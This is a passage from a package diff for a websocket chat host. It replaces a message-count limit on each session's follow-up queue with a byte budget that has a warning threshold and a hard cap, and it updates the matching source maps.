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"}
|
package/dist/ws/host.d.ts
CHANGED
|
@@ -2,8 +2,29 @@ import type { ServerMessage } from "@schlessera/brain-ui-sdk/protocol";
|
|
|
2
2
|
import { type WSContext } from "./clients.js";
|
|
3
3
|
import { TurnCoordinator } from "./turns.js";
|
|
4
4
|
import { type SessionCatalog } from "./session-catalog.js";
|
|
5
|
-
/**
|
|
6
|
-
|
|
5
|
+
/**
|
|
6
|
+
* Budget for the host-side follow-up queue of ONE session (backends without a
|
|
7
|
+
* native `followUp`; with one, messages go into the running turn and none of
|
|
8
|
+
* this applies).
|
|
9
|
+
*
|
|
10
|
+
* Bytes rather than a message count, because that is what the cost actually
|
|
11
|
+
* tracks: a queued entry is retained in this process until its turn runs, and
|
|
12
|
+
* an entry carrying four images outweighs a hundred carrying text. Counting
|
|
13
|
+
* messages made a text-only queue and a 50 MB image queue look identical.
|
|
14
|
+
*
|
|
15
|
+
* Past the warn mark the message is still accepted — the sender is told the
|
|
16
|
+
* queue is getting heavy, in `detail` on the `queued` status and in the server
|
|
17
|
+
* log. Past the hard cap it is refused with SESSION_QUEUE_FULL, which is an
|
|
18
|
+
* explicit error frame, never a silent drop.
|
|
19
|
+
*/
|
|
20
|
+
export declare const QUEUE_WARN_BYTES: number;
|
|
21
|
+
export declare const QUEUE_MAX_BYTES: number;
|
|
22
|
+
/**
|
|
23
|
+
* Backstop on depth. Bytes do not bound COUNT, and every queued entry becomes
|
|
24
|
+
* its own turn: without this, ~500k one-line messages fit inside the byte cap
|
|
25
|
+
* and would run the session for days. Not the limit anyone should hit.
|
|
26
|
+
*/
|
|
27
|
+
export declare const MAX_SESSION_QUEUE = 50;
|
|
7
28
|
export interface WsHostOptions {
|
|
8
29
|
/** Session persistence seam; defaults to the package's SQLite catalog. */
|
|
9
30
|
catalog?: SessionCatalog;
|
package/dist/ws/host.d.ts.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"host.d.ts","sourceRoot":"","sources":["../../src/ws/host.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,aAAa,EAAE,MAAM,mCAAmC,CAAC;AACvE,OAAO,EAAqB,KAAK,SAAS,EAAE,MAAM,cAAc,CAAC;AACjE,OAAO,EAAE,eAAe,EAAE,MAAM,YAAY,CAAC;AAC7C,OAAO,EAAwB,KAAK,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAKjF,
|
|
1
|
+
{"version":3,"file":"host.d.ts","sourceRoot":"","sources":["../../src/ws/host.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,aAAa,EAAE,MAAM,mCAAmC,CAAC;AACvE,OAAO,EAAqB,KAAK,SAAS,EAAE,MAAM,cAAc,CAAC;AACjE,OAAO,EAAE,eAAe,EAAE,MAAM,YAAY,CAAC;AAC7C,OAAO,EAAwB,KAAK,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAKjF;;;;;;;;;;;;;;GAcG;AACH,eAAO,MAAM,gBAAgB,QAAmB,CAAC;AACjD,eAAO,MAAM,eAAe,QAAmB,CAAC;AAEhD;;;;GAIG;AACH,eAAO,MAAM,iBAAiB,KAAK,CAAC;AAEpC,MAAM,WAAW,aAAa;IAC5B,0EAA0E;IAC1E,OAAO,CAAC,EAAE,cAAc,CAAC;IACzB,mDAAmD;IACnD,OAAO,CAAC,EAAE,MAAM,CAAC;IACjB,mDAAmD;IACnD,aAAa,CAAC,EAAE,MAAM,CAAC;IACvB;;;;OAIG;IACH,qBAAqB,CAAC,EAAE,MAAM,MAAM,CAAC;CACtC;AAMD;;;;GAIG;AACH,qBAAa,MAAM;IACjB,QAAQ,CAAC,WAAW,kBAAyB;IAC7C,OAAO,EAAE,cAAc,CAAC;IACxB,OAAO,EAAE,MAAM,CAAC;IAChB,aAAa,EAAE,MAAM,CAAC;IACtB,qBAAqB,EAAE,MAAM,MAAM,CAAC;gBAExB,OAAO,GAAE,aAAkB;IAOvC,yEAAyE;IACzE,SAAS,CAAC,OAAO,EAAE,aAAa,GAAG,IAAI;IASvC,yEAAyE;IACzE,aAAa,CAAC,GAAG,EAAE,aAAa,GAAG,IAAI;IAIvC,0DAA0D;IAC1D,WAAW,CAAC,EAAE,EAAE,SAAS,EAAE,GAAG,EAAE,aAAa,GAAG,IAAI;CAGrD"}
|
package/dist/ws/host.js
CHANGED
|
@@ -3,8 +3,29 @@ import { TurnCoordinator } from "./turns.js";
|
|
|
3
3
|
import { createSessionCatalog } from "./session-catalog.js";
|
|
4
4
|
/** Host-side turn timeout. The backend no longer times out — the host owns it. */
|
|
5
5
|
const DEFAULT_TIMEOUT_MS = 10 * 60 * 1000; // 10 minutes
|
|
6
|
-
/**
|
|
7
|
-
|
|
6
|
+
/**
|
|
7
|
+
* Budget for the host-side follow-up queue of ONE session (backends without a
|
|
8
|
+
* native `followUp`; with one, messages go into the running turn and none of
|
|
9
|
+
* this applies).
|
|
10
|
+
*
|
|
11
|
+
* Bytes rather than a message count, because that is what the cost actually
|
|
12
|
+
* tracks: a queued entry is retained in this process until its turn runs, and
|
|
13
|
+
* an entry carrying four images outweighs a hundred carrying text. Counting
|
|
14
|
+
* messages made a text-only queue and a 50 MB image queue look identical.
|
|
15
|
+
*
|
|
16
|
+
* Past the warn mark the message is still accepted — the sender is told the
|
|
17
|
+
* queue is getting heavy, in `detail` on the `queued` status and in the server
|
|
18
|
+
* log. Past the hard cap it is refused with SESSION_QUEUE_FULL, which is an
|
|
19
|
+
* explicit error frame, never a silent drop.
|
|
20
|
+
*/
|
|
21
|
+
export const QUEUE_WARN_BYTES = 20 * 1024 * 1024;
|
|
22
|
+
export const QUEUE_MAX_BYTES = 50 * 1024 * 1024;
|
|
23
|
+
/**
|
|
24
|
+
* Backstop on depth. Bytes do not bound COUNT, and every queued entry becomes
|
|
25
|
+
* its own turn: without this, ~500k one-line messages fit inside the byte cap
|
|
26
|
+
* and would run the session for days. Not the limit anyone should hit.
|
|
27
|
+
*/
|
|
28
|
+
export const MAX_SESSION_QUEUE = 50;
|
|
8
29
|
function envMaxConcurrentSessions() {
|
|
9
30
|
return Math.max(1, Number(process.env.MAX_CONCURRENT_SESSIONS) || 3);
|
|
10
31
|
}
|
package/dist/ws/host.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"host.js","sourceRoot":"","sources":["../../src/ws/host.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,SAAS,EAAE,MAAM,EAAkB,MAAM,cAAc,CAAC;AACjE,OAAO,EAAE,eAAe,EAAE,MAAM,YAAY,CAAC;AAC7C,OAAO,EAAE,oBAAoB,EAAuB,MAAM,sBAAsB,CAAC;AAEjF,kFAAkF;AAClF,MAAM,kBAAkB,GAAG,EAAE,GAAG,EAAE,GAAG,IAAI,CAAC,CAAC,aAAa;AAExD,
|
|
1
|
+
{"version":3,"file":"host.js","sourceRoot":"","sources":["../../src/ws/host.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,SAAS,EAAE,MAAM,EAAkB,MAAM,cAAc,CAAC;AACjE,OAAO,EAAE,eAAe,EAAE,MAAM,YAAY,CAAC;AAC7C,OAAO,EAAE,oBAAoB,EAAuB,MAAM,sBAAsB,CAAC;AAEjF,kFAAkF;AAClF,MAAM,kBAAkB,GAAG,EAAE,GAAG,EAAE,GAAG,IAAI,CAAC,CAAC,aAAa;AAExD;;;;;;;;;;;;;;GAcG;AACH,MAAM,CAAC,MAAM,gBAAgB,GAAG,EAAE,GAAG,IAAI,GAAG,IAAI,CAAC;AACjD,MAAM,CAAC,MAAM,eAAe,GAAG,EAAE,GAAG,IAAI,GAAG,IAAI,CAAC;AAEhD;;;;GAIG;AACH,MAAM,CAAC,MAAM,iBAAiB,GAAG,EAAE,CAAC;AAiBpC,SAAS,wBAAwB;IAC/B,OAAO,IAAI,CAAC,GAAG,CAAC,CAAC,EAAE,MAAM,CAAC,OAAO,CAAC,GAAG,CAAC,uBAAuB,CAAC,IAAI,CAAC,CAAC,CAAC;AACvE,CAAC;AAED;;;;GAIG;AACH,MAAM,OAAO,MAAM;IACR,WAAW,GAAG,IAAI,eAAe,EAAE,CAAC;IAC7C,OAAO,CAAiB;IACxB,OAAO,CAAS;IAChB,aAAa,CAAS;IACtB,qBAAqB,CAAe;IAEpC,YAAY,UAAyB,EAAE;QACrC,IAAI,CAAC,OAAO,GAAG,OAAO,CAAC,OAAO,IAAI,oBAAoB,EAAE,CAAC;QACzD,IAAI,CAAC,OAAO,GAAG,OAAO,CAAC,OAAO,IAAI,UAAU,CAAC;QAC7C,IAAI,CAAC,aAAa,GAAG,OAAO,CAAC,aAAa,IAAI,kBAAkB,CAAC;QACjE,IAAI,CAAC,qBAAqB,GAAG,OAAO,CAAC,qBAAqB,IAAI,wBAAwB,CAAC;IACzF,CAAC;IAED,yEAAyE;IACzE,SAAS,CAAC,OAAsB;QAC9B,IAAI,OAAO,CAAC,OAAO;YAAE,IAAI,CAAC,OAAO,GAAG,OAAO,CAAC,OAAO,CAAC;QACpD,IAAI,OAAO,CAAC,OAAO;YAAE,IAAI,CAAC,OAAO,GAAG,OAAO,CAAC,OAAO,CAAC;QACpD,IAAI,OAAO,CAAC,aAAa;YAAE,IAAI,CAAC,aAAa,GAAG,OAAO,CAAC,aAAa,CAAC;QACtE,IAAI,OAAO,CAAC,qBAAqB,EAAE,CAAC;YAClC,IAAI,CAAC,qBAAqB,GAAG,OAAO,CAAC,qBAAqB,CAAC;QAC7D,CAAC;IACH,CAAC;IAED,yEAAyE;IACzE,aAAa,CAAC,GAAkB;QAC9B,SAAS,CAAC,GAAG,CAAC,CAAC;IACjB,CAAC;IAED,0DAA0D;IAC1D,WAAW,CAAC,EAAa,EAAE,GAAkB;QAC3C,MAAM,CAAC,EAAE,EAAE,GAAG,CAAC,CAAC;IAClB,CAAC;CACF"}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"run-session.d.ts","sourceRoot":"","sources":["../../src/ws/run-session.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,mBAAmB,EAAE,iBAAiB,EAAE,MAAM,mCAAmC,CAAC;AAChG,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,cAAc,CAAC;
|
|
1
|
+
{"version":3,"file":"run-session.d.ts","sourceRoot":"","sources":["../../src/ws/run-session.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,mBAAmB,EAAE,iBAAiB,EAAE,MAAM,mCAAmC,CAAC;AAChG,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,cAAc,CAAC;AAM9C,OAAO,EAAwD,KAAK,MAAM,EAAE,MAAM,WAAW,CAAC;AAE9F;;;;GAIG;AACH,wBAAsB,UAAU,CAC9B,IAAI,EAAE,MAAM,EACZ,OAAO,EAAE;IACP,IAAI,EAAE,MAAM,CAAC;IACb,SAAS,CAAC,EAAE,MAAM,CAAC;IACnB,WAAW,EAAE,mBAAmB,EAAE,CAAC;IACnC,UAAU,CAAC,EAAE,MAAM,CAAC;IACpB,MAAM,CAAC,EAAE,iBAAiB,CAAC;CAC5B,GACA,OAAO,CAAC,IAAI,CAAC,CA0Gf;AAOD,iFAAiF;AACjF,wBAAsB,iBAAiB,CACrC,IAAI,EAAE,MAAM,EACZ,EAAE,EAAE,SAAS,EACb,GAAG,EAAE;IACH,IAAI,EAAE,MAAM,CAAC;IACb,SAAS,CAAC,EAAE,MAAM,CAAC;IACnB,WAAW,EAAE,mBAAmB,EAAE,CAAC;IACnC,UAAU,CAAC,EAAE,MAAM,CAAC;IACpB,MAAM,CAAC,EAAE,iBAAiB,CAAC;CAC5B,GACA,OAAO,CAAC,IAAI,CAAC,CA0Ff"}
|
package/dist/ws/run-session.js
CHANGED
|
@@ -1,7 +1,8 @@
|
|
|
1
1
|
import { withSessionId, withTurnScope } from "./frames.js";
|
|
2
2
|
import { makeBridge, emitTurnError } from "./bridge.js";
|
|
3
3
|
import { resolveTurnTarget } from "./routing.js";
|
|
4
|
-
import {
|
|
4
|
+
import { queuedBytes, queuedFollowUpBytes } from "./turns.js";
|
|
5
|
+
import { MAX_SESSION_QUEUE, QUEUE_MAX_BYTES, QUEUE_WARN_BYTES } from "./host.js";
|
|
5
6
|
/**
|
|
6
7
|
* Run one session slot: the initial turn, then any queued follow-up turns in
|
|
7
8
|
* order. The host owns per-turn cancellation (AbortController + timeout). Never
|
|
@@ -112,6 +113,10 @@ export async function runSession(host, initial) {
|
|
|
112
113
|
coordinator.drainPendingForTurn(turn, "Session ended");
|
|
113
114
|
}
|
|
114
115
|
}
|
|
116
|
+
/** Queue sizes are only ever reported to a human, so one decimal of MB is plenty. */
|
|
117
|
+
function formatMb(bytes) {
|
|
118
|
+
return `${(bytes / 1024 / 1024).toFixed(1)} MB`;
|
|
119
|
+
}
|
|
115
120
|
/** Dispatch a chat_message: follow-up to a running session, or a new session. */
|
|
116
121
|
export async function handleChatMessage(host, ws, msg) {
|
|
117
122
|
const { text, attachments, sessionId, providerId: requestedProviderId, client } = msg;
|
|
@@ -128,16 +133,40 @@ export async function handleChatMessage(host, ws, msg) {
|
|
|
128
133
|
host.sendToClients(withTurnScope({ type: "error", code: "FOLLOWUP_FAILED", message: err instanceof Error ? err.message : String(err) }, runningTurn));
|
|
129
134
|
});
|
|
130
135
|
}
|
|
131
|
-
else if (runningTurn.queue.length >= MAX_SESSION_QUEUE) {
|
|
132
|
-
host.sendMessage(ws,
|
|
133
|
-
// Session-scoped only: the rejected message would have become a
|
|
134
|
-
// FUTURE turn in this slot, not the one currently running.
|
|
135
|
-
withSessionId({ type: "error", code: "SESSION_QUEUE_FULL", message: `This session's queue is full (max ${MAX_SESSION_QUEUE}). Wait for it to catch up.` }, sessionId));
|
|
136
|
-
}
|
|
137
136
|
else {
|
|
137
|
+
const entry = { text, attachments, ...(client ? { client } : {}) };
|
|
138
|
+
const parked = queuedBytes(runningTurn);
|
|
139
|
+
const incoming = queuedFollowUpBytes(entry);
|
|
140
|
+
// A single message can never exceed the budget on its own: the frame cap
|
|
141
|
+
// is 12 MB and a message's attachments are capped well below that, so an
|
|
142
|
+
// empty queue always has room and this cannot wedge.
|
|
143
|
+
const overBudget = parked + incoming > QUEUE_MAX_BYTES;
|
|
144
|
+
const overDepth = runningTurn.queue.length >= MAX_SESSION_QUEUE;
|
|
145
|
+
if (overBudget || overDepth) {
|
|
146
|
+
host.sendMessage(ws,
|
|
147
|
+
// Session-scoped only: the rejected message would have become a
|
|
148
|
+
// FUTURE turn in this slot, not the one currently running.
|
|
149
|
+
withSessionId({
|
|
150
|
+
type: "error",
|
|
151
|
+
code: "SESSION_QUEUE_FULL",
|
|
152
|
+
message: overBudget
|
|
153
|
+
? `This session's queue is full (${formatMb(parked)} of ${formatMb(QUEUE_MAX_BYTES)}; this message needs ${formatMb(incoming)}). Wait for it to catch up.`
|
|
154
|
+
: `This session's queue is full (${MAX_SESSION_QUEUE} messages). Wait for it to catch up.`,
|
|
155
|
+
}, sessionId));
|
|
156
|
+
return;
|
|
157
|
+
}
|
|
138
158
|
// Queue it as the session's next turn; report queued immediately.
|
|
139
|
-
runningTurn.queue.push(
|
|
140
|
-
|
|
159
|
+
runningTurn.queue.push(entry);
|
|
160
|
+
const total = parked + incoming;
|
|
161
|
+
// Accepted, but heavy enough that the sender should know before they hit
|
|
162
|
+
// the wall — every queued byte is held in this process until its turn runs.
|
|
163
|
+
const detail = total >= QUEUE_WARN_BYTES
|
|
164
|
+
? `Queue is holding ${formatMb(total)} across ${runningTurn.queue.length} messages (limit ${formatMb(QUEUE_MAX_BYTES)}).`
|
|
165
|
+
: undefined;
|
|
166
|
+
if (detail) {
|
|
167
|
+
console.warn(`[ws] session ${sessionId} queue at ${formatMb(total)} across ${runningTurn.queue.length} messages`);
|
|
168
|
+
}
|
|
169
|
+
host.sendToClients(withSessionId({ type: "status", status: "queued", ...(detail ? { detail } : {}) }, sessionId));
|
|
141
170
|
}
|
|
142
171
|
return;
|
|
143
172
|
}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"run-session.js","sourceRoot":"","sources":["../../src/ws/run-session.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,aAAa,EAAE,aAAa,EAAE,MAAM,aAAa,CAAC;AAC3D,OAAO,EAAE,UAAU,EAAE,aAAa,EAAE,MAAM,aAAa,CAAC;AACxD,OAAO,EAAE,iBAAiB,EAAE,MAAM,cAAc,CAAC;AAEjD,OAAO,EAAE,iBAAiB,EAAe,MAAM,WAAW,CAAC;
|
|
1
|
+
{"version":3,"file":"run-session.js","sourceRoot":"","sources":["../../src/ws/run-session.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,aAAa,EAAE,aAAa,EAAE,MAAM,aAAa,CAAC;AAC3D,OAAO,EAAE,UAAU,EAAE,aAAa,EAAE,MAAM,aAAa,CAAC;AACxD,OAAO,EAAE,iBAAiB,EAAE,MAAM,cAAc,CAAC;AAEjD,OAAO,EAAE,WAAW,EAAE,mBAAmB,EAAE,MAAM,YAAY,CAAC;AAC9D,OAAO,EAAE,iBAAiB,EAAE,eAAe,EAAE,gBAAgB,EAAe,MAAM,WAAW,CAAC;AAE9F;;;;GAIG;AACH,MAAM,CAAC,KAAK,UAAU,UAAU,CAC9B,IAAY,EACZ,OAMC;IAED,MAAM,EAAE,WAAW,EAAE,GAAG,IAAI,CAAC;IAC7B,WAAW,CAAC,gBAAgB,IAAI,CAAC,CAAC;IAClC,IAAI,MAAqD,CAAC;IAC1D,IAAI,CAAC;QACH,MAAM,GAAG,MAAM,iBAAiB,CAAC,IAAI,CAAC,OAAO,EAAE,OAAO,CAAC,SAAS,EAAE,OAAO,CAAC,UAAU,CAAC,CAAC;IACxF,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,IAAI,CAAC,aAAa,CAAC;YACjB,IAAI,EAAE,OAAO;YACb,IAAI,EAAE,eAAe;YACrB,OAAO,EAAE,GAAG,YAAY,KAAK,CAAC,CAAC,CAAC,GAAG,CAAC,OAAO,CAAC,CAAC,CAAC,MAAM,CAAC,GAAG,CAAC;YACzD,GAAG,CAAC,OAAO,CAAC,SAAS,CAAC,CAAC,CAAC,EAAE,SAAS,EAAE,OAAO,CAAC,SAAS,EAAE,CAAC,CAAC,CAAC,EAAE,CAAC;SAC/D,CAAC,CAAC;QACH,OAAO;IACT,CAAC;YAAS,CAAC;QACT,WAAW,CAAC,gBAAgB,GAAG,IAAI,CAAC,GAAG,CAAC,CAAC,EAAE,WAAW,CAAC,gBAAgB,GAAG,CAAC,CAAC,CAAC;IAC/E,CAAC;IAED,MAAM,EAAE,OAAO,EAAE,SAAS,EAAE,gBAAgB,EAAE,GAAG,MAAM,CAAC